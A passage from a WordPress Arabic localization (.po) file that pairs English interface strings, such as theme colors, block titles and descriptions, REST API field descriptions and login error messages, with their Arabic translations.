#: wp-includes/theme.json
msgctxt "Color name"
msgid "Vivid green cyan"
msgstr "أخضر سماوي حيوي"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Light green cyan"
msgstr "أخضر سماوي فاتح"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Luminous vivid amber"
msgstr "برتقالي ناري"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Luminous vivid orange"
msgstr "برتقالي فاقع"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Vivid red"
msgstr "أحمر فاقع"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Pale pink"
msgstr "زهري فاتح"

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Blue and red"
msgstr "أزرق وأحمر"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Cyan bluish gray"
msgstr "رمادي مزرق سماوي"

#: wp-includes/theme.json
msgctxt "Color name"
msgid "Vivid purple"
msgstr "أرجواني ساطع"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Vivid cyan blue to vivid purple"
msgstr "أزرق سماوي زاهي إلى بنفسجي زاهي"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Blush light purple"
msgstr "بنفسجي متورد"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Light green cyan to vivid green cyan"
msgstr "أخضر سماوي مضيء إلى أخضر سماوي زاهي"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Luminous vivid amber to luminous vivid orange"
msgstr "أصفر زاهي مضيء إلى برتقالي زاهي مضيء"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Luminous vivid orange to vivid red"
msgstr "برتقالي زاهي إلى أحمر زاهي"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Very light gray to cyan bluish gray"
msgstr "رمادي فاتح جدًا إلى رمادي مزرق سماوي"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Cool to warm spectrum"
msgstr "طيف بارد إلى دافئ"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Blush bordeaux"
msgstr "وردي نبيذي"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Electric grass"
msgstr "أخضر مشع"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Pale ocean"
msgstr "محيط باهت"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Luminous dusk"
msgstr "شفق معزول"

#: wp-includes/theme.json
msgctxt "Font size name"
msgid "Small"
msgstr "صغير"

#: wp-includes/theme.json
msgctxt "Font size name"
msgid "Medium"
msgstr "وسط"

#: wp-includes/theme.json
msgctxt "Font size name"
msgid "Large"
msgstr "كبير"

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Dark grayscale"
msgstr "تدرّجات الرمادي الداكن"

#: wp-includes/theme.json
msgctxt "Gradient name"
msgid "Midnight"
msgstr "أزرق منتصف الليل"

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Grayscale"
msgstr "تدرّجات الرمادي"

#: wp-includes/theme.json
msgctxt "Duotone name"
msgid "Midnight"
msgstr "أزرق منتصف الليل"

#: wp-includes/blocks/query-pagination-previous.php:22
#: wp-includes/js/dist/block-library.js:44839
msgid "Previous Page"
msgstr "الصفحة السابقة"

#: wp-includes/blocks/query-pagination-next.php:23
#: wp-includes/js/dist/block-library.js:44644
msgid "Next Page"
msgstr "الصفحة التالية"

#: wp-includes/js/dist/block-library.js:43168
#: wp-includes/js/dist/block-library.js:43172
#: wp-admin/includes/plugin-install.php:330
#: wp-admin/includes/theme-install.php:108
msgid "Keyword"
msgstr "كلمة مفتاحية"

#. translators: %s: filename.
#: wp-includes/blocks/file.php:34 wp-includes/js/dist/block-library.js:16301
#: wp-includes/js/dist/block-library.js:16405
#: wp-includes/js/dist/block-library.js:16501
msgid "Embed of %s."
msgstr "تضمين %s."

#: wp-includes/blocks/file.php:37 wp-includes/js/dist/block-library.js:16299
#: wp-includes/js/dist/block-library.js:16403
#: wp-includes/js/dist/block-library.js:16499
msgid "PDF embed"
msgstr "تضمين PDF"

#: wp-includes/block-patterns.php:134
msgctxt "Block pattern category"
msgid "Media"
msgstr "الوسائط"

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1468
msgid "The date the comment was published, as GMT."
msgstr "تاريخ نشر التعليق، بتوقيت GMT."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2272
msgid "The date the post was last modified, as GMT."
msgstr "تاريخ آخر تعديل للمقالة، بتوقيت GMT."

#: wp-includes/blocks/button/block.json wp-includes/blocks/buttons/block.json
msgctxt "block keyword"
msgid "link"
msgstr "رابط"

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2279
msgid "An alphanumeric identifier for the post unique to its type."
msgstr "مُعرف أبجدي رقمي للمقالة فريد من نوعه."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2265
msgid "The date the post was last modified, in the site's timezone."
msgstr "تاريخ آخر تعديل للمقالة، بتوقيت الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2238
msgid "GUID for the post, as it exists in the database."
msgstr "مُعرف (GUID) للمقالة، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:2220
msgid "The date the post was published, in the site's timezone."
msgstr "تاريخ نشر المقالة، بتوقيت الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1462
msgid "The date the comment was published, in the site's timezone."
msgstr "تاريخ نشر التعليق، بتوقيت الموقع."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1449
msgid "Content for the comment, as it exists in the database."
msgstr "محتوى التعليق، كما هو موجود في قاعدة البيانات."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1440
msgid "The content for the comment."
msgstr "محتوى التعليق."

#: wp-includes/post.php:303
msgid "Reusable block updated."
msgstr "تم تحديث المكوّن القابل لإعادة الاستخدام."

#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:89
#: wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:115
msgid "The ID for the parent of the autosave."
msgstr "المعرّف الرئيسي (الأب) للحفظ التلقائي."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1454
msgid "HTML content for the comment, transformed for display."
msgstr "محتوى HTML للتعليق، مُعد للعرض."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1481
msgid "The ID for the parent of the comment."
msgstr "المعرّف الرئيسي (الأب) للتعليق."

#: wp-includes/blocks/video/block.json
msgctxt "block keyword"
msgid "movie"
msgstr "فيلم"

#: wp-includes/blocks/verse/block.json
msgctxt "block keyword"
msgid "poem"
msgstr "قصيدة"

#: wp-includes/blocks/verse/block.json
msgctxt "block keyword"
msgid "poetry"
msgstr "الشِعر"

#: wp-includes/blocks/text-columns/block.json
msgctxt "block description"
msgid "This block is deprecated. Please use the Columns block instead."
msgstr "هذا المكوّن مُهمل. يرجى استخدام مكوّن الأعمدة بدلاً من ذلك."

#: wp-includes/blocks/video/block.json
msgctxt "block description"
msgid "Embed a video from your media library or upload a new one."
msgstr "تضمين فيديو من مكتبة الوسائط الخاصة بك أو رفع ملف جديد."

#: wp-includes/blocks/verse/block.json
msgctxt "block description"
msgid "Insert poetry. Use special spacing formats. Or quote song lyrics."
msgstr "إدراج بيت شِعر. استخدم تنسيقات المسافات الخاصة. أو اقتبس كلمات لأغنية."

#: wp-includes/blocks/table/block.json
msgctxt "block style label"
msgid "Stripes"
msgstr "مخطط (مسطّر)"

#: wp-includes/blocks/tag-cloud/block.json
msgctxt "block description"
msgid "A cloud of your most used tags."
msgstr "سحابة من وسومك الأكثر استخدامًا."

#: wp-includes/blocks/spacer/block.json
msgctxt "block description"
msgid "Add white space between blocks and customize its height."
msgstr "إضافة مسافة بيضاء بين المكوّنات وتخصيص ارتفاعها."

#: wp-includes/blocks/social-links/block.json
msgctxt "block style label"
msgid "Pill Shape"
msgstr "شكل قرص"

#: wp-includes/blocks/social-links/block.json
msgctxt "block style label"
msgid "Logos Only"
msgstr "شعارات فقط"

#: wp-includes/blocks/social-link/block.json
msgctxt "block description"
msgid "Display an icon linking to a social media profile or site."
msgstr "عرض أيقونة ترتبط بحساب موقع تواصل اجتماعي أو موقع إلكتروني."

#: wp-includes/blocks/social-links/block.json
msgctxt "block description"
msgid "Display icons linking to your social media profiles or sites."
msgstr "عرض أيقونات ترتبط بحساباتك في مواقع التواصل الاجتماعي أو مواقعك الإلكترونية."

#: wp-includes/blocks/site-tagline/block.json
msgctxt "block title"
msgid "Site Tagline"
msgstr "سطر وصف الموقع"

#: wp-includes/blocks/site-title/block.json
msgctxt "block title"
msgid "Site Title"
msgstr "اسم الموقع"

#: wp-includes/blocks/site-tagline/block.json
msgctxt "block keyword"
msgid "description"
msgstr "الوصف"

#: wp-includes/blocks/site-tagline/block.json
msgctxt "block description"
msgid "Describe in a few words what the site is about. The tagline can be used in search results or when sharing on social networks even if it’s not displayed in the theme design."
msgstr "صف الموقع بقليل من الكلمات. يمكن استخدام سطر الوصف في نتائج البحث أو عند المشاركة على وسائل التواصل الاجتماعي حتى لو لم يتم عرضه في تصميم القالب."

#: wp-includes/blocks/site-logo/block.json
msgctxt "block title"
msgid "Site Logo"
msgstr "شعار الموقع"

#: wp-includes/blocks/shortcode/block.json
msgctxt "block description"
msgid "Insert additional custom elements with a WordPress shortcode."
msgstr "إدراج عناصر مخصصة إضافية باستخدام الأكواد القصيرة الخاصة بـ ووردبريس."

#: wp-includes/blocks/separator/block.json
msgctxt "block style label"
msgid "Dots"
msgstr "نقاط"

#: wp-includes/blocks/separator/block.json
msgctxt "block keyword"
msgid "hr"
msgstr "hr"

#: wp-includes/blocks/separator/block.json
msgctxt "block keyword"
msgid "horizontal-line"
msgstr "خط أفقي"

#: wp-includes/blocks/separator/block.json
msgctxt "block description"
msgid "Create a break between ideas or sections with a horizontal separator."
msgstr "إنشاء فاصل بين الأفكار أو الأقسام باستخدام فاصل أفقي."

#: wp-includes/blocks/search/block.json
msgctxt "block description"
msgid "Help visitors find your content."
msgstr "مساعدة الزوار في العثور على المحتوى الخاص بك."

#: wp-includes/blocks/rss/block.json
msgctxt "block description"
msgid "Display entries from any RSS or Atom feed."
msgstr "عرض الإدخالات من أي RSS أو خلاصة Atom."

#: wp-includes/blocks/rss/block.json
msgctxt "block keyword"
msgid "atom"
msgstr "atom"

#: wp-includes/blocks/rss/block.json
msgctxt "block keyword"
msgid "feed"
msgstr "خلاصة Feed"

#: wp-includes/blocks/search/block.json
msgctxt "block keyword"
msgid "find"
msgstr "إيجاد"

#: wp-includes/blocks/separator/block.json
msgctxt "block keyword"
msgid "divider"
msgstr "مُقسّم"

#: wp-includes/blocks/separator/block.json
msgctxt "block style label"
msgid "Wide Line"
msgstr "خط واسع"

#: wp-includes/blocks/quote/block.json
msgctxt "block keyword"
msgid "cite"
msgstr "اقتباس (استشهاد بـ)"

#: wp-includes/blocks/quote/block.json
msgctxt "block keyword"
msgid "blockquote"
msgstr "صندوق اقتباس مستقل"

#: wp-includes/blocks/query/block.json
msgctxt "block description"
msgid "An advanced block that allows displaying post types based on different query parameters and visual configurations."
msgstr "مكوّن متقدم يتيح عرض أنواع المقالات وفقاً لمعايير استعلام مختلفة وتكوينات مرئية."

#: wp-includes/blocks/post-title/block.json
msgctxt "block title"
msgid "Post Title"
msgstr "عنوان المقالة"

#: wp-includes/blocks/post-content/block.json
msgctxt "block title"
msgid "Post Content"
msgstr "محتوى المقالة"

#: wp-includes/blocks/post-date/block.json
msgctxt "block title"
msgid "Post Date"
msgstr "تاريخ المقالة"

#: wp-includes/blocks/post-excerpt/block.json
msgctxt "block title"
msgid "Post Excerpt"
msgstr "مقتطف المقالة"

#: wp-includes/blocks/post-featured-image/block.json
msgctxt "block title"
msgid "Post Featured Image"
msgstr "الصورة البارزة للمقالة"

#: wp-includes/blocks/nextpage/block.json
msgctxt "block keyword"
msgid "pagination"
msgstr "تعدد الصفحات"

#: wp-includes/blocks/nextpage/block.json
msgctxt "block keyword"
msgid "next page"
msgstr "الصفحة التالية"

#: wp-includes/blocks/nextpage/block.json
msgctxt "block description"
msgid "Separate your content into a multi-page experience."
msgstr "فصل المحتوى الخاص بك بتجربة الصفحات المتعددة."

#: wp-includes/blocks/more/block.json
msgctxt "block keyword"
msgid "read more"
msgstr "قراءة المزيد"

#: wp-includes/blocks/missing/block.json
msgctxt "block description"
msgid "Your site doesn’t include support for this block."
msgstr "موقعك لا يتضمن الدعم لهذا المكوّن."

#: wp-includes/blocks/more/block.json
msgctxt "block description"
msgid "Content before this block will be shown in the excerpt on your archives page."
msgstr "المحتوى قبل هذا المكوّن سيتمّ عرضه في المقتطف الموجود على صفحة الأرشيفات."

#: wp-includes/blocks/query-title/block.json
msgctxt "block description"
msgid "Display the query title."
msgstr "عرض عنوان الاستعلام."

#: wp-includes/blocks/query-title/block.json
msgctxt "block title"
msgid "Query Title"
msgstr "عنوان الاستعلام"

#: wp-includes/blocks/post-excerpt/block.json
msgctxt "block description"
msgid "Display a post's excerpt."
msgstr "عرض مقتطف لمقالة."

#: wp-includes/blocks/query/block.json
msgctxt "block title"
msgid "Query Loop"
msgstr "حلقة استعلام"

#: wp-includes/blocks/paragraph/block.json
msgctxt "block description"
msgid "Start with the basic building block of all narrative."
msgstr "ابدأ بناء مكوّنات لكل الحكايا."

#: wp-includes/blocks/post-featured-image/block.json
msgctxt "block description"
msgid "Display a post's featured image."
msgstr "عرض الصورة البارزة لمقالة."

#: wp-includes/blocks/post-template/block.json
msgctxt "block description"
msgid "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more."
msgstr "يحتوي على عناصر المكوّن المستخدمة لتقديم وعرض مقالة، مثل العنوان، التاريخ، الصورة البارزة، المحتوى أو المقتطف، والمزيد."

#: wp-includes/blocks/page-list/block.json
msgctxt "block description"
msgid "Display a list of all pages."
msgstr "عرض قائمة جميع الصفحات."

#: wp-includes/blocks/page-list/block.json
msgctxt "block title"
msgid "Page List"
msgstr "قائمة الصفحات"

#: wp-includes/blocks/navigation/block.json
#: wp-includes/blocks/page-list-item/block.json
#: wp-includes/blocks/page-list/block.json
msgctxt "block keyword"
msgid "navigation"
msgstr "تنقّل"

#: wp-includes/blocks/pullquote/block.json
msgctxt "block description"
msgid "Give special visual emphasis to a quote from your text."
msgstr "يمنح تركيزاً بصرياً خاصّاً لاقتباس من نصك."

#: wp-includes/blocks/query-pagination-next/block.json
msgctxt "block description"
msgid "Displays the next posts page link."
msgstr "لعرض رابط صفحة المقالات التالية."

#: wp-includes/blocks/post-date/block.json
msgctxt "block description"
msgid "Add the date of this post."
msgstr "أضف التاريخ لهذه المقالة."

#: wp-includes/blocks/navigation/block.json
#: wp-includes/blocks/page-list-item/block.json
#: wp-includes/blocks/page-list/block.json
msgctxt "block keyword"
msgid "menu"
msgstr "قائمة"

#: wp-includes/blocks/post-title/block.json
msgctxt "block description"
msgid "Displays the title of a post, page, or any other content-type."
msgstr "عرض العنوان لمقالة أو صفحة، أو أي نوع آخر من المحتوى."

#: wp-includes/blocks/post-content/block.json
msgctxt "block description"
msgid "Displays the contents of a post or page."
msgstr "عرض المحتوى لمقالة أو صفحة."

#: wp-includes/blocks/paragraph/block.json
msgctxt "block keyword"
msgid "text"
msgstr "نص"

#: wp-includes/blocks/query-pagination-previous/block.json
msgctxt "block description"
msgid "Displays the previous posts page link."
msgstr "لعرض رابط صفحة المقالات السابقة."

#: wp-includes/blocks/post-terms/block.json
msgctxt "block title"
msgid "Post Terms"
msgstr "عناصر المقالة"

#: wp-includes/blocks/post-template/block.json
msgctxt "block title"
msgid "Post Template"
msgstr "قالب نموذج المقالة"

#: wp-includes/blocks/post-terms/block.json
msgctxt "block description"
msgid "Post terms."
msgstr "عناصر المقالة."

#: wp-includes/blocks/query-pagination/block.json
msgctxt "block description"
msgid "Displays a paginated navigation to next/previous set of posts, when applicable."
msgstr "يعرض قائمة تنقّل عبر أرقام الصفحات على شكل التالية/السابقة، حينما يكون قابلاً للاستعمال."

#: wp-includes/blocks/query-pagination-numbers/block.json
msgctxt "block description"
msgid "Displays a list of page numbers for pagination"
msgstr "إظهار قائمة بأرقام الصفحات من أجل ترقيم الصفحات"

#: wp-includes/blocks/preformatted/block.json
msgctxt "block description"
msgid "Add text that respects your spacing and tabs, and also allows styling."
msgstr "إضافة نص يحترم المسافات وأحرف القفز (tabs)، ويسمح أيضًا بالتنسيقات."

#: wp-includes/blocks/media-text/block.json
msgctxt "block keyword"
msgid "video"
msgstr "فيديو"

#: wp-includes/blocks/media-text/block.json
msgctxt "block keyword"
msgid "image"
msgstr "صورة"

#: wp-includes/blocks/loginout/block.json
msgctxt "block keyword"
msgid "form"
msgstr "نموذج"

#: wp-includes/blocks/list/block.json
msgctxt "block keyword"
msgid "numbered list"
msgstr "قائمة مرقّمة"

#: wp-includes/blocks/list/block.json
msgctxt "block keyword"
msgid "ordered list"
msgstr "قائمة مرتبة"

#: wp-includes/blocks/list/block.json
msgctxt "block description"
msgid "Create a bulleted or numbered list."
msgstr "إنشاء قائمة نقطية أو قائمة مرقّمة."

#: wp-includes/blocks/loginout/block.json
msgctxt "block title"
msgid "Login/out"
msgstr "تسجيل دخول/خروج"

#: wp-includes/blocks/loginout/block.json
msgctxt "block description"
msgid "Show login & logout links."
msgstr "إظهار روابط تسجيل الدخول والخروج."

#: wp-includes/blocks/loginout/block.json
msgctxt "block keyword"
msgid "login"
msgstr "تسجيل دخول"

#: wp-includes/blocks/loginout/block.json
msgctxt "block keyword"
msgid "logout"
msgstr "تسجيل خروج"

#: wp-includes/blocks/media-text/block.json
msgctxt "block description"
msgid "Set media and words side-by-side for a richer layout."
msgstr "ضبط الوسائط والكلمات جنبًا إلى جنب للحصول على تنسيق أكثر ثراءً."

#: wp-includes/blocks/latest-posts/block.json
msgctxt "block keyword"
msgid "recent posts"
msgstr "أحدث المقالات"

#: wp-includes/blocks/latest-posts/block.json
msgctxt "block description"
msgid "Display a list of your most recent posts."
msgstr "عرض قائمة بأحدث مشاركاتك."

#: wp-includes/blocks/latest-comments/block.json
msgctxt "block keyword"
msgid "recent comments"
msgstr "أحدث التعليقات"

#: wp-includes/blocks/latest-comments/block.json
msgctxt "block description"
msgid "Display a list of your most recent comments."
msgstr "عرض قائمة بأحدث التعليقات."

#: wp-includes/blocks/group/block.json
msgctxt "block keyword"
msgid "container"
msgstr "حاوية"

#: wp-includes/blocks/gallery/block.json
msgctxt "block keyword"
msgid "photos"
msgstr "صور"

#: wp-includes/blocks/freeform/block.json
msgctxt "block description"
msgid "Use the classic WordPress editor."
msgstr "استخدام مُحرر ووردبريس التقليدي."

#: wp-includes/blocks/file/block.json
msgctxt "block keyword"
msgid "download"
msgstr "تنزيل"

#: wp-includes/blocks/file/block.json
msgctxt "block keyword"
msgid "pdf"
msgstr "pdf"

#: wp-includes/blocks/file/block.json
msgctxt "block keyword"
msgid "document"
msgstr "مستند"

#: wp-includes/blocks/file/block.json
msgctxt "block description"
msgid "Add a link to a downloadable file."
msgstr "أضف رابطًا إلى ملف قابل للتنزيل."

#: wp-includes/blocks/image/block.json wp-includes/blocks/site-logo/block.json
msgctxt "block style label"
msgid "Rounded"
msgstr "دائري"

#: wp-includes/blocks/image/block.json
msgctxt "block keyword"
msgid "img"
msgstr "صورة"

#: wp-includes/blocks/image/block.json
msgctxt "block description"
msgid "Insert an image to make a visual statement."
msgstr "إدراج صورة من أجل جذب الانتباه."

#: wp-includes/blocks/html/block.json
msgctxt "block keyword"
msgid "embed"
msgstr "تضمين"

#: wp-includes/blocks/html/block.json
msgctxt "block description"
msgid "Add custom HTML code and preview it as you edit."
msgstr "إضافة شفرة HTML مخصصة ومعاينتها أثناء التحرير."

#: wp-includes/blocks/legacy-widget/block.json
msgctxt "block description"
msgid "Display a legacy widget."
msgstr "عرض ودجت سابق."

#: wp-includes/blocks/legacy-widget/block.json
msgctxt "block title"
msgid "Legacy Widget"
msgstr "ودجت سابق"

#: wp-includes/blocks/gallery/block.json
msgctxt "block description"
msgid "Display multiple images in a rich gallery."
msgstr "عرض صور متعددة في معرض صور ثريّ."

#: wp-includes/blocks/gallery/block.json
msgctxt "block keyword"
msgid "images"
msgstr "صور"

#: wp-includes/blocks/group/block.json
msgctxt "block keyword"
msgid "section"
msgstr "قسم"

#: wp-includes/blocks/heading/block.json
msgctxt "block keyword"
msgid "subtitle"
msgstr "عنوان فرعي"

#: wp-includes/blocks/group/block.json
msgctxt "block keyword"
msgid "wrapper"
msgstr "غلاف"

#: wp-includes/blocks/image/block.json wp-includes/blocks/quote/block.json
#: wp-includes/blocks/separator/block.json
#: wp-includes/blocks/site-logo/block.json
#: wp-includes/blocks/social-links/block.json
#: wp-includes/blocks/table/block.json wp-includes/blocks/tag-cloud/block.json
msgctxt "block style label"
msgid "Default"
msgstr "افتراضي"

#: wp-includes/blocks/group/block.json
msgctxt "block keyword"
msgid "row"
msgstr "صف"

#: wp-includes/blocks/heading/block.json
msgctxt "block keyword"
msgid "title"
msgstr "عنوان"

#: wp-includes/blocks/image/block.json
msgctxt "block keyword"
msgid "picture"
msgstr "صورة"

#: wp-includes/blocks/image/block.json
msgctxt "block keyword"
msgid "photo"
msgstr "صورة"

#: wp-includes/blocks/list/block.json
msgctxt "block keyword"
msgid "bullet list"
msgstr "قائمة نقطية"

#: wp-includes/blocks/cover/block.json
msgctxt "block description"
msgid "Add an image or video with a text overlay — great for headers."
msgstr "إضافة صورة أو فيديو مع غِشاء نصّي — رائع للترويسات."

#: wp-includes/blocks/column/block.json
msgctxt "block description"
msgid "A single column within a columns block."
msgstr "عمود واحد داخل مكوّن الأعمدة."

#: wp-includes/blocks/categories/block.json
msgctxt "block description"
msgid "Display a list of all categories."
msgstr "عرض قائمة جميع التصنيفات."

#: wp-includes/blocks/calendar/block.json
msgctxt "block keyword"
msgid "posts"
msgstr "مقالات"

#: wp-includes/blocks/calendar/block.json
msgctxt "block keyword"
msgid "archive"
msgstr "أرشيف"

#: wp-includes/blocks/code/block.json
msgctxt "block description"
msgid "Display code snippets that respect your spacing and tabs."
msgstr "عرض مقتطفات الشفرة الخاصة بك بطريقة تحترم المسافات وترتيب الكود."

#: wp-includes/blocks/calendar/block.json
msgctxt "block description"
msgid "A calendar of your site’s posts."
msgstr "إضافة تقويم لمقالات موقعك."

#: wp-includes/blocks/button/block.json wp-includes/blocks/tag-cloud/block.json
msgctxt "block style label"
msgid "Outline"
msgstr "مُحدد"

#: wp-includes/blocks/button/block.json
msgctxt "block description"
msgid "Prompt visitors to take action with a button-style link."
msgstr "حث الزوّار على اتخاذ إجراء باستخدام رابط على شكل زر."

#: wp-includes/blocks/button/block.json
msgctxt "block style label"
msgid "Fill"
msgstr "تعبئة"

#: wp-includes/blocks/buttons/block.json
msgctxt "block description"
msgid "Prompt visitors to take action with a group of button-style links."
msgstr "حث الزوّار على اتخاذ إجراء باستخدام مجموعة من الروابط على شكل زر."

#: wp-includes/blocks/audio/block.json
msgctxt "block keyword"
msgid "recording"
msgstr "جاري التسجيل"

#: wp-includes/blocks/audio/block.json
msgctxt "block keyword"
msgid "music"
msgstr "موسيقى"

#: wp-includes/blocks/audio/block.json
msgctxt "block keyword"
msgid "sound"
msgstr "صوت"

#: wp-includes/blocks/audio/block.json
msgctxt "block keyword"
msgid "podcast"
msgstr "بودكاست"

#: wp-includes/blocks/archives/block.json
msgctxt "block description"
msgid "Display a date archive of your posts."
msgstr "عرض أرشيف شهري لمقالات موقعك."

#: wp-includes/blocks/audio/block.json
msgctxt "block description"
msgid "Embed a simple audio player."
msgstr "تضمين مشغل صوت بسيط."

#: wp-includes/js/dist/block-editor.js:25994
#: wp-includes/js/dist/block-library.js:36742 wp-admin/edit-form-blocks.php:190
msgid "Type / to choose a block"
msgstr "اكتب / لاختيار مكوّن"

#. translators: %s: Name of the block's parent.
#. translators: Hidden accessibility text. %s: Link name.
#. translators: Hidden accessibility text. %s: Attachment title.
#. translators: Hidden accessibility text. %s: Plugin name.
#. translators: %s: Post title.
#. translators: Hidden accessibility text. %s: Taxonomy term name.
#. translators: Hidden accessibility text. %s: User login.
#. translators: Hidden accessibility text. %s: Theme name.
#. translators: %s: Site URL.
#. translators: Hidden accessibility text. %s: Theme name
#: wp-includes/js/dist/block-editor.js:28592
#: wp-admin/includes/class-wp-links-list-table.php:180
#: wp-admin/includes/class-wp-media-list-table.php:417
#: wp-admin/includes/class-wp-plugins-list-table.php:989
#: wp-admin/includes/class-wp-posts-list-table.php:1018
#: wp-admin/includes/class-wp-terms-list-table.php:364
#: wp-admin/includes/class-wp-users-list-table.php:530
#: wp-admin/update-core.php:578 wp-admin/update-core.php:752
#: wp-admin/includes/class-wp-ms-sites-list-table.php:408
#: wp-admin/includes/class-wp-ms-themes-list-table.php:520
#: wp-admin/includes/class-wp-ms-users-list-table.php:241
msgid "Select %s"
msgstr "تحديد %s"

#: wp-includes/js/dist/block-editor.js:39458
#: wp-includes/js/dist/edit-site.js:9986 wp-includes/js/dist/edit-site.js:11790
#: wp-admin/includes/class-wp-screen.php:1207 wp-admin/includes/theme.php:345
#: wp-admin/includes/theme.php:381 wp-admin/index.php:70
msgid "Layout"
msgstr "التخطيط"

#: wp-includes/class-wp-taxonomy.php:640
msgctxt "navigation link block title"
msgid "Tag Link"
msgstr "رابط الوسم"

#: wp-includes/class-wp-taxonomy.php:641
msgctxt "navigation link block title"
msgid "Category Link"
msgstr "رابط التصنيف"

#: wp-includes/class-wp-taxonomy.php:644
msgctxt "navigation link block description"
msgid "A link to a tag."
msgstr "رابط إلى وسم."

#: wp-includes/class-wp-taxonomy.php:645
msgctxt "navigation link block description"
msgid "A link to a category."
msgstr "رابط إلى تصنيف."

#. translators: HTML code of the block, not an option that blocks HTML.
#: wp-includes/widgets/class-wp-widget-block.php:208
msgid "Block HTML:"
msgstr "مكوّن HTML:"

#. translators: 1 & 2: Deprecation replacement options.
#: wp-includes/user.php:4160 wp-includes/user.php:4400
msgid "%1$s or %2$s"
msgstr "%1$s أو %2$s"

#: wp-includes/widgets/class-wp-widget-block.php:37
msgid "A widget containing a block."
msgstr "ودجت يحتوي على مكوّن."

#: wp-includes/script-loader.php:969
msgid "This image cannot be processed by the web server. Convert it to JPEG or PNG before uploading."
msgstr "لا يمكن معالجة هذه الصورة بواسطة خادم الويب. قم بتحويلها إلى JPEG أو PNG قبل عملية الرفع."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:860
msgid "URL-encoded form data from the widget admin form. Used to update a widget that does not support instance. Write only."
msgstr "بيانات النموذج المشفرة بعنوان URL من نموذج مسؤول الودجت. يستخدم لتحديث ودجت لا يدعم المثيل(instance). الكتابة فقط."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:853
msgid "Unencoded instance settings, if supported."
msgstr "إعدادات المثيل (instance) غير المشفرة، إذا كانت مدعومة."

#: wp-login.php:933
msgid "<strong>Error:</strong> The passwords do not match."
msgstr "<strong>خطأ:</strong> كلمات المرور غير متطابقة."

#: wp-login.php:807
msgid "<strong>Error:</strong> Your password reset link has expired. Please request a new link below."
msgstr "<strong>خطأ:</strong> انتهت صلاحية رابط إعادة تعيين كلمة المرور. الرجاء طلب رابط جديد أدناه."

#: wp-login.php:1364
msgid "<strong>Error:</strong> User registration is currently not allowed."
msgstr "<strong>خطأ:</strong> تسجيل الأعضاء غير مسموح حاليًا."

#: wp-includes/user.php:370
msgid "<strong>Error:</strong> Unknown username. Check again or try your email address."
msgstr "<strong>خطأ:</strong> اسم مستخدم غير معروف. تحقّق مرة أخرى أو جرّب عنوان بريدك الإلكتروني."

#: wp-login.php:805
msgid "<strong>Error:</strong> Your password reset link appears to be invalid. Please request a new link below."
msgstr "<strong>خطأ:</strong> يبدو أن رابط إعادة تعيين كلمة المرور غير صالح. الرجاء طلب رابط جديد أدناه."

#. translators: %s: User name.
#: wp-includes/user.php:165
msgid "<strong>Error:</strong> The username <strong>%s</strong> is not registered on this site. If you are unsure of your username, try your email address instead."
msgstr "<strong>خطأ:</strong> اسم المستخدم <strong>%s</strong> غير مسجّل على هذا الموقع. إذا لم تكن متأكدًا من اسم المستخدم الخاص بك، فجرّب عنوان بريدك الإلكتروني بدلاً من ذلك."

#: wp-includes/user.php:365
msgid "<strong>Error:</strong> Unknown email address. Check again or try your username."
msgstr "<strong>خطأ:</strong> بريد إلكتروني غير معروف. تحقّق مرة أخرى أو جرّب اسم المستخدم الخاص بك."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:808
msgid "Unique identifier for the widget."
msgstr "مُعرّف فريد للودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:432
msgid "ID of sidebar."
msgstr "مُعرف الشريط الجانبي."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:438
msgid "Unique name identifying the sidebar."
msgstr "اسم فريد يُحدّد الشريط الجانبي."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:444
msgid "Description of sidebar."
msgstr "وصف الشريط الجانبي."

#: wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:484
msgid "Status of sidebar."
msgstr "حالة الشريط الجانبي."

#: wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:404
msgid "Description of the widget."
msgstr "وصف الودجت."

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:825
msgid "HTML representation of the widget."
msgstr "تمثيل HTML للودجت."

#: wp-includes/widgets.php:1064
msgid "Inactive widgets"
msgstr "ودجات غير فعّالة"

#: wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:831
